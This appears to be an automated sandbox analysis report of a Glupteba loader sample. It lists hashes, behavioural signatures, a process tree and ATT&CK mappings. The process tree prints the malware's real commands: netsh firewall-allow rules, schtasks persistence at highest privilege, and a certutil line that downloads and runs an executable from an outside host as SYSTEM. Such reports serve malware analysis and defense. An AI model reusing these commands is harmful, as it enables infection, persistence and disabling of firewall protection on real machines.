Analysis
-
max time kernel
149s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
14-09-2024 02:37
General
-
Target
df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe
-
Size
3.8MB
-
MD5
df567ded7c6765d2cd9cb2391aef3606
-
SHA1
a84671f58d1cc0a382b647fa8f07b61bee7b74af
-
SHA256
4de2e69e1c144caeb6904b7b7400d065aab4be63c60c3703cb77cf9ce76c5eb7
-
SHA512
6a4f8bcda29b06b9cf88ee6cc5e5a89d8b56ea97890613cea888bf8548eb448dce58bdcdfbffac3b44864d57a73be07d5639a008d2a18480f045957dcea4071d
-
SSDEEP
98304:GSJwWIINnyRwAeMDzjv2ba5oRaVDuQpfuviBw62Xojz64UaL0:G6Hj8BlnjvQmVfC6dm4UaL
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 37 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Executes dropped EXE 3 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
-
Modifies boot configuration data using bcdedit 1 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 2 IoCs
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Modifies data under HKEY_USERS 64 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 43 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\df567ded7c6765d2cd9cb2391aef3606_JaffaCakes118.exe"4⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5b0a3c1a561c\5b0a3c1a561c\5b0a3c1a561c.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\5b0a3c1a561c\5b0a3c1a561c\5b0a3c1a561c.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
Filesize
3.8MB
MD5df567ded7c6765d2cd9cb2391aef3606
SHA1a84671f58d1cc0a382b647fa8f07b61bee7b74af
SHA2564de2e69e1c144caeb6904b7b7400d065aab4be63c60c3703cb77cf9ce76c5eb7
SHA5126a4f8bcda29b06b9cf88ee6cc5e5a89d8b56ea97890613cea888bf8548eb448dce58bdcdfbffac3b44864d57a73be07d5639a008d2a18480f045957dcea4071d
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
8.3MB
-
Filesize
8.3MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
3.7MB
-
Filesize
7.0MB